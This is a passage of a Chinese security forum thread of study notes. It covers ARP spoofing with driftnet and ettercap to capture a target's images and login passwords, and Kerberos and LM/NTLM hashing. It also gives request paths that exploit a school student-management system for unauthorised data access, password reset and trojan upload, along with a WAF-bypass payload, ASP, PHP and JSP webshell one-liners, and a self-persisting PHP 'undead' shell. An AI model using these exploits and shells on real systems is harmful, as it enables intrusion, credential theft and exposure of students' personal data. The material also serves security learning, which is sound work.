       重新对 Win 10 **主机发动 ARP 欺骗攻击**,此时其仍能正常联网,端口转发成功

    3. driftnet是一款简单而使用的图片捕获工具,可以很方便的在网络数据包中抓取图片,其使用语法: driftnet [options] [filter code]。
       选项        描述
       -b        捕获到新的图片时发出嘟嘟声
       -i        interface 选择监听接口
       -f        file 读取一个指定pcap数据包中的图片
       -p        不让所监听的接口使用混杂模式
       -a        后台模式:将捕获的图片保存到目录中(不会显示在屏幕上)
       -m        number 指定保存图片数的数目
       -d        directory 指定保存图片的路径
       -x        prefix 指定保存图片的前缀名**

    4.  打开另外一个终端并执行

       ```
       driftnet -i eth0 -a -d /root/hhh
       ```

        命令,该命令会自动将**手机浏览的图片**保存到Kali虚拟机的`/root/hhh`路径下



    ## 密码监听

    ### ettercap

    ettercap是一款网络抓包工具,利用ARP协议的缺陷进行中间人攻击,可嗅探局域网数据流量。

    ettercap 的参数及常用操作:
    选项        描述
    -l        显示可用网卡接口设备
    -i        选择接口
    -t        协议选择,tcp/udp/all,默认为all
    -p        不进行毒化攻击,用于嗅探本地数据包
    -L        载入过滤器文件
    -V        text 将数据包以文本形式显示在屏幕上
    -L        filename 把所有的数据包保存下来(保存后的文件只能用etterlog显示)

    其他命令和使用,我们可以直接在Kali 终端输入 ettercap -h打印:

    1.  先在Kali终端执行 **arpspoof** 命令开启 ARP 欺骗攻击

    2. 在目标机上打开一个登录界面

    3.  打开另一个 Kali 终端,开始利用 `ettercap` 来抓取账号密码,在终端输入命令

       ```
       ettercap -Tq -i eth0
       ```

       (这条命令表示监控 eth0 网卡的流量)即可

    4.  此时在物理机输入正确的账号和密码后,即可在虚拟机终端输出打印其账号密码等登录信息  ![在这里插入图片描述](C:\Users\75986\Desktop\学习\读书笔记\技术文献\20200229173833478.png)





    # 挖掘0day打进不同学校        

    ​        

    https://mp.weixin.qq.com/s?__biz ... 8a1fcbc183d841c4#rd



    (这个oday大概率是jQuery的。。。)

    ---



    1.越权漏洞:访问以下的路径:

    ```
    http://x.x.x.x/xgxt/xsxx_xsgl.do ... Ajax&isAll=true
    ```

    然后便可查看所有学生列表



    ```
    http://x.x.x.x/xgxt/general_szdw.do?method=szdwRybb&lx=fdy
    ```

    然后便可查看所有辅导员列表



    ```
    http://x.x.x.x/xgxt/xsxx_xsgl.do?method=getXsjbxxMore&xh=某学号
    ```

    然后便可以查看该学号的学生的敏感信息

    2.任意密码重置漏洞:访问该路径:

    ```
    http://x.x.x.x/xgxt/mmzhgl_mmzh.do?method=xgmm&yhm=想要修改的账号
    ```

    3.文件上传漏洞(需要绕过waf的拦截):访问该路径:

    ```
    http://x.x.x.x/xgxt/commXszz.do?method=uploadFile
    ```

    这里我上传的是jspx木马,查看网站页面源代码来获取文件路径



    访问

    ```
    http://x.x.x.x/xgxt/mmzhgl_mmzh.do?method=checkYh&type=view
    ```

    然后用Burp Suite用POST方式填充垃圾字符数据可绕过waf。方法就是利用脚本生成一个垃圾字符数据,或者自己aaaa什么的堆叠一下,因为有些waf要是字节超出了范围,那么就不会检测到堆叠之后的马,同时也可以利用注释符(可用``来注释)再注释掉脏数据,那么就只剩下马了,waf就绕过了:

    ```
    method=checkYh&amp;type=view&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;&amp;class.classLoader.resources.dirContext.aliases=/abcd=/upload/xxxx/
    ```





    # 干货 | WebShell基础详解               

    https://mp.weixin.qq.com/s?__biz ... 8a1fcbc183d841c4#rd



    ## WebShell的原理

    Webshell的恶意性表现在它的实现功能上,是一段带有恶意目的的正常脚本代码。

    不同脚本类型的一句话木马:

    ```
    <%eval request(“cmd”)%>
    <%@ Page Language=”Jscript”%><%eval(Request.Item[“cmd”],”unsafe”);%>
    <?php @eval($_POST[‘cmd’]); ?>
    <%Runtime.getRuntime().exec(request.getParameter("cmd"));%>
    ```

    ![图片](C:\Users\75986\Desktop\学习\读书笔记\技术文献\640.webp)



    这里仅对PHP的一句话木马进行分析,核心步骤如下:

    ![图片](C:\Users\75986\Desktop\学习\读书笔记\技术文献\640-1641780030852.webp)





    ## PHP内存马

    (不死马)



    ```
    <?php
    ignore_user_abort(true); //设置客户端断开连接时是否中断脚本的执行
    set_time_limit(0); //设置脚本最大执行时间linux下可能不大好用
    unlink(__FILE__); //删除自身
    $file = 'shell.php';
    $code = '<?php @eval($_POST["cmd"]);?>';
    while (1) {file_put_contents($file, $code);//恶意代码
    usleep(5000); //延迟执行可有可无}
    ?>
    ```
    回复

    使用道具 举报

    249

    主题

    299

    帖子

    1391

    积分

    金牌会员

    Rank: 6Rank: 6

    积分
    1391
     楼主| 发表于 2022-1-11 21:10:40 | 显示全部楼层
    kerberos 协议
    概念


    kerberos协议认证过程

    AS-REP:客户端向KDC的AS认证服务请求TGT认购权证

    AS-REP:身份认证通过后,KDC发放TGT认购权证

    TGS-REP:客户端用TGT行KDC的TGS服务请求ST服务票据

    TGS-REP:身份认证通过后,KDC发放ST服务票据

    AP-REP:客户端用ST服务票据想服务端请求服务
    服务端向KDC验证PAC是否有权限访问
    KDC将用户的权限发送给服务端

    AP-REP:服务端根据KDC返回的用户的权限信息进行对比,判断用户是否拥有权限来访问该服务,并将结果返回给客户端



    简单来说,kerberos协议认证过程的粗略流程为:
    1. client先向AS请求TGT
    2. 通过核验后,AS返回TGT
    3. client用TGT去请求TGS
    4. 使用ST访问其他服务



    当 Client 想要访问 Server 上的某个服务时,需要先向 AS 证明自己的身份,然后通过 AS 发放的 TGT 向 Server 发起认证请求,这个过程分为三块:
    Client 与 AS 的交互
    当用户登录域主机Windows系统时,本机的Kerberos服务会使用用用户的输入(用户名和密码)构造AS-REQ(Authentication Server Request)请求发送至KDC(准确来说是AS).该请求中包含:请求的用户名、客户端主机名、加密类型和Authenticator(是一个用用户NTLM Hash加密的时间戳)以及一些其他信息.

    AS随后在AD中寻找用户是否在白名单,如果在白名单,则根据用户名从AD中提取对应的NTLM Hash来解密KRB_AS_REP,确认时间戳是否在允许范围内,随后生成一个随机数session Key,随后返回一个KRB_AS_REP(应答),KRB_AS_REP中包括两个部分:
    session key-as数据:用client的NTLM Hash加密session Key
    TGT:由 KRBTGT HASH 加密的 session key 和 TimeStamp 等信息

    Client 与 TGS 的交互
    Client接收到加密后的Session key-as和TGT之后,先用自身密码的Hash解密得到session key,TGT是由KDC中KRBTGT的HASH加密的,所以client无法解密.这时client用session key加密时间戳,再和TGT一起发送给KDC中的TGS换取针对某个服务主体(service principal)的服务票据(ST)(走的是KRB_TGS_REQ请求),服务主体由SPN(service principal name,服务主体名称)来表示。
    Windows中有许多SPN,大家可以访问此处了解大部分SPN。为了访问实际主机,这里客户端需要请求HOST SPN。HOST主体中包含Windows的所有内置服务。
    TGS在收到Client 发送过来的 TGT 和 Session key 加密的 TimeStamp 之后,首先会检查自身是否存在 Client 所请求的服务。如果服务存在,则用 KRBTGT的HASH解密 TGT。![kerberos协议详解及攻击利用
    一般情况下,TGS会检查TGT中的时间戳查看TGT是否过期,且原始地址是否和TGT中保存的地址相同.
    验证成功后将返回客户端两个东西:
    由session key加密的session key-tgs
    client要访问的Server密码Hash(多数情况下是目标服务帐户的NTLM密码hash)加密的seesion key-tgs及其他信息

    这两部分和在一起通过KRB_TGS_REP返回给client
    TGS中包含PAC(Privileged Attribute Certificate,特权属性证书),而PAC中包含域用户及其成员身份的相关信息,如下图所示。
    Client 与 Server 的交互
    client收到session key 加密生成的 session key-tgs 和 Server 密码 HASH 加密 session key-tgs生成的TGS 之后,用 session key 解密得到 session key-tgs,然后把 sessionkey-tgs 加密的 TimeStamp(Authenticator3)和 ST(也就是TGS)一起发送给 Server。
    server 通过自己的密码解密 ST,得到 sessionkey-tgs, 再用 sessionkey-tgs 解密 Authenticator3 得到 TimeStamp,并查看TGS中的PAC来判断其中是否存在匹配的组SID,以便确定访问权限。
    服务票据中比较特别的一点在于,KDC负责身份认证(TGT),而服务负责授权(TGS中的PAC)。确认权限后,用户就可以访问HOST服务主体,登录计算机。
    我们可以使用Wireshark捕捉用户登录过程,查看整个登录流程


    windows 域模型
    Windows域模型主要是在Windows NT下的四种域模型,这四种域模型分别为:单域模型、主控域模型、多主控域模型、完全信任模型
    (1)单域模型适合于最小的安装。在不需要把组织按组织和管理目的分割时,采用这种模型。这种模型没有信任需要被管理。
    (2)主控域模型把域分割为帐户域和资源域,或更多的域。用户登录到帐户域,但是访问资源域中的资源(如,打印机)。系统管理员可以自己作主:一个系统管理员在帐户域内新建帐户,而另外一个系统管理员分配对另外个域中资源的访问。域可以是地理位置上互相隔绝的(但不是一定要如此)。
    (3)多主控域模型有两种方法连接每个帐户域。信任建立之后,用户可以访问任何被正确分配的资源域。这个模型能够处理数以千计的用户。
    (4)完全信任模型是真的被修改后的单域模型。每个域得以保持自己的必要性。Windows NT有两种类型的域控制器:主域控制器和备份域控制器(BDC)。每个域控制器都要存储叫作安全帐户管理器(SAM)的用户数据库备份。在Windows NT中,SAM的可读备份是存储在每个备份域控制器中的,但是唯一的可读/写备份存储在主域制器中。每当对域进行了修改(即是说,添加或删除了用户)时,这种修改首先写入域的PDC ,然后按设置的时间间隔由PDC升级每个BDC。  




    LM Hash 和 NTLM Hash
    原理
    在windows下通过SAMInside提取到的密码Hash时,可以看到有两条,分别是LM-Hash和NT-Hash,这是对同一个密码的两种不同的加密方式
    LM Hash原理
    第一步是将明文口令转换为其大写形式;
    第二步是将字符串大写后转换为16进制字符串;
    第三步是密码不足14字节要求用0补全;
    第四步是将上述编码分成2组7字节(56bits=14*4)的数据;
    第五步是将每一组7字节的十六进制转换为二进制,每7bit一组末尾加0,再转换成十六进制组成得到2组8字节的编码;
    第六步将以上步骤得到的两组8字节编码,分别作为DES加密key为魔术字符串“KGS!@#$% ”进行加密;
    第七步将两组DES加密后的编码拼接。

    LM hash的不足之处:
    1.des的key是固定的
    2.可以根据hash判断密码长度是否大于7位,如果密码强度是小于7位,那么第二个分组加密后的结果肯定是aad3b435b51404ee
    3.密码不区分大小写并且长度最大为14位
    4.7+7字符分开加密明显复杂度降低14个字符整体加密 957+ 957 <95 14

    注意:
    这种加密方法对于输入明文密码是数字、字母或者数字与字母的组合,或者其他如&、%等常用符号均适用;使用UltraEdit获取明文的十六进制字符串。
    LM只能存储小于等于14个字符的密码hash,如果密码大于14个,windows就自动使用NTLM对其进行加密。
    NTLM Hash原理
    第一步先将密码转换为十六进制的格式;
    第二步转换得到的十六进制的字符串作为ASCII值用Unicode编码方式转化;
    第三步对所获取的Unicode字符串进行标准MD4单向哈希加密,MD4固定产生128-bit的哈希值,产生的哈希值就是最后的NTLM Hash。


    对于XP、win2k和win2k3来说,系统默认使用LM进行加密(也可人为设置成NTLM),之后的win2008、win7和Vista禁用了LM,默认使用NTLM,所以不要拿着LM生成的rainbow table去找NTLM的hash值,但是反过来却可以,因为使用LM方式的加密往往会存在一个对应的NTLM hash(如果密码位数<=14的话,系统同时对这个密码使用NTLM加密并存储了NTLM的hash),这时候使用ophcrack的NTLM表查找的就是这个NTLM的hash了,而不是LM的hash。
    获取Windows LM/NTLM HASH值的工具:

    1.SAMInside:它能从SAM注册文件中提取用户名以及密码(SAM 是Windows系统中存放系统用户及密码的一种文件,用Syskey(系统密钥)加密保护。)
    2.PwDump
    3.ophcrack(附带pwdump)
    4.GetHashes(适用于xp)


    生成hash
    以下Windows LM/NTLM HASH均在Windows2008下生成。
    首先,我先在原有的Windows用户组中,添加一个用户,密码为Aaa123456。
    我们在网上下载获取Windows LM/NTLM HASH的工具:SAMInside

    我们可以生成Windows LM/NTLM HASH字符串如下:
    首先在计算机上运行软件,然后执行工具栏上的“Import Local Users via Scheduler”:
    即可导入本地计算机中的用户的账号密码并且生成Windows LM/NTLM HASH:
    接下来我们以用户test为样本(密码为Aa1234)


    生成LM hash
    第一步,将密码全部转换为大写模式,得到:AA1234
    第二步,将大写后的字符串转换为16进制字符串,得到:414131323334
    第三步:密码不足14字节要求用0补全,转换后的十六进制字符串按照二进制计算只有48bit(12*4),为了满足14字节(112bits)的要求,所以需要补全64bit(16*4)的二进制0,得最终补全后十六进制,得到:4141313233340000000000000000
    第四步:将上述编码分成2组7字节(56bits=14*4)的数据,得到:41413132333400和00000000000000
    第五步:将每一组7字节的十六进制转换为二进制,每7bit一组末尾加0,再转换成十六进制组成得到2组8字节的编码,将41413132333400转换为二进制,得到:1000001010000010011000100110010001100110011010000000000
    然后从左到右按照每7bit一组罗列如下:这里务必注意将最前面的10补全为0100:
    0100000
    1010000
    0100110
    0010011
    0010001
    1001100
    1101000
    0000000
    接下来在每7bits一组的末尾添0,再将其转换成16进制:
    01000000 -->40
    10100000 -->a0
    01001100 -->4c
    00100110 -->26
    00100010 -->22
    10011000 -->98
    11010000 -->d0
    00000000 -->00
    得到:
    0100000010100000010011000010011000100010100110001101000000000000 -->
    40a04c262298d000
    同理知00000000000000对应的8字节编码:0000000000000000
    第六步:将以上步骤得到的两组8字节编码,分别作为DES加密key为魔术字符串“KGS!@#$% ”(该魔术字符串换算成16进制:4B47532140232425)进行加密。
    从网上下载到DES计算器,依次计算使用40a04c262298d000和0000000000000000加密4B47532140232425后的密文:

    得到的两组加密后的密文为:B15BA094DAAEE84A和AAD3B435B51404EE
    第七步:将两组DES加密后的编码拼接,得到最终LM-Hash值为: B15BA094DAAEE84AAAD3B435B51404EE
    与前面得到的SAMInside生成的LM hash相同





    生成NTLM hash
    第一步,先将密码转换为十六进制的格式:414131323334
    第二步,转换得到的十六进制的字符串作为ASCII值用Unicode编码方式转化:
    410041003100320033003400
    第三步, 对所获取的Unicode字符串进行标准MD4单向哈希加密:

    MD4固定产生128-bit的哈希值,产生的哈希值就是最后的NTLM Hash。
    回复

    使用道具 举报

    249

    主题

    299

    帖子

    1391

    积分

    金牌会员

    Rank: 6Rank: 6

    积分
    1391
     楼主| 发表于 2022-1-13 20:49:57 | 显示全部楼层
    这两天都在做作业一,主要是下载镜像有点费时间(中间还下错了一个),其中在搭建域环境的时候,遇到了几个问题:
    1、开始的时候我用Windows server 2008当DC。。。。
    (我以为2008也可以,后来发现2012就是当服务器而被开发的)
    2、Windows的家庭版是不可以加入域组的
    3、域组成员的DNS应该是DC的IP地址
    4、在虚拟机中,如果系统需要打补丁,我们可以将补丁文件生成为ios文件,然后用CD读取文件即可

    在生成系统密码hash时:
    Unicode编码对于数字而言,就是每两个数字后面加上00即可
    在生成NTLMhash时不需要将原来的密码全部转换为大写,而在在生成LMhash时需要将原来的密码全部转换为大写
    回复

    使用道具 举报

    您需要登录后才可以回帖 登录 | 立即注册

    本版积分规则

    小黑屋|安全矩阵

    GMT+8, 2024-11-28 01:43 , Processed in 0.033607 second(s), 16 queries .

    Powered by Discuz! X4.0

    Copyright © 2001-2020, Tencent Cloud.

    快速回复 返回顶部 返回列表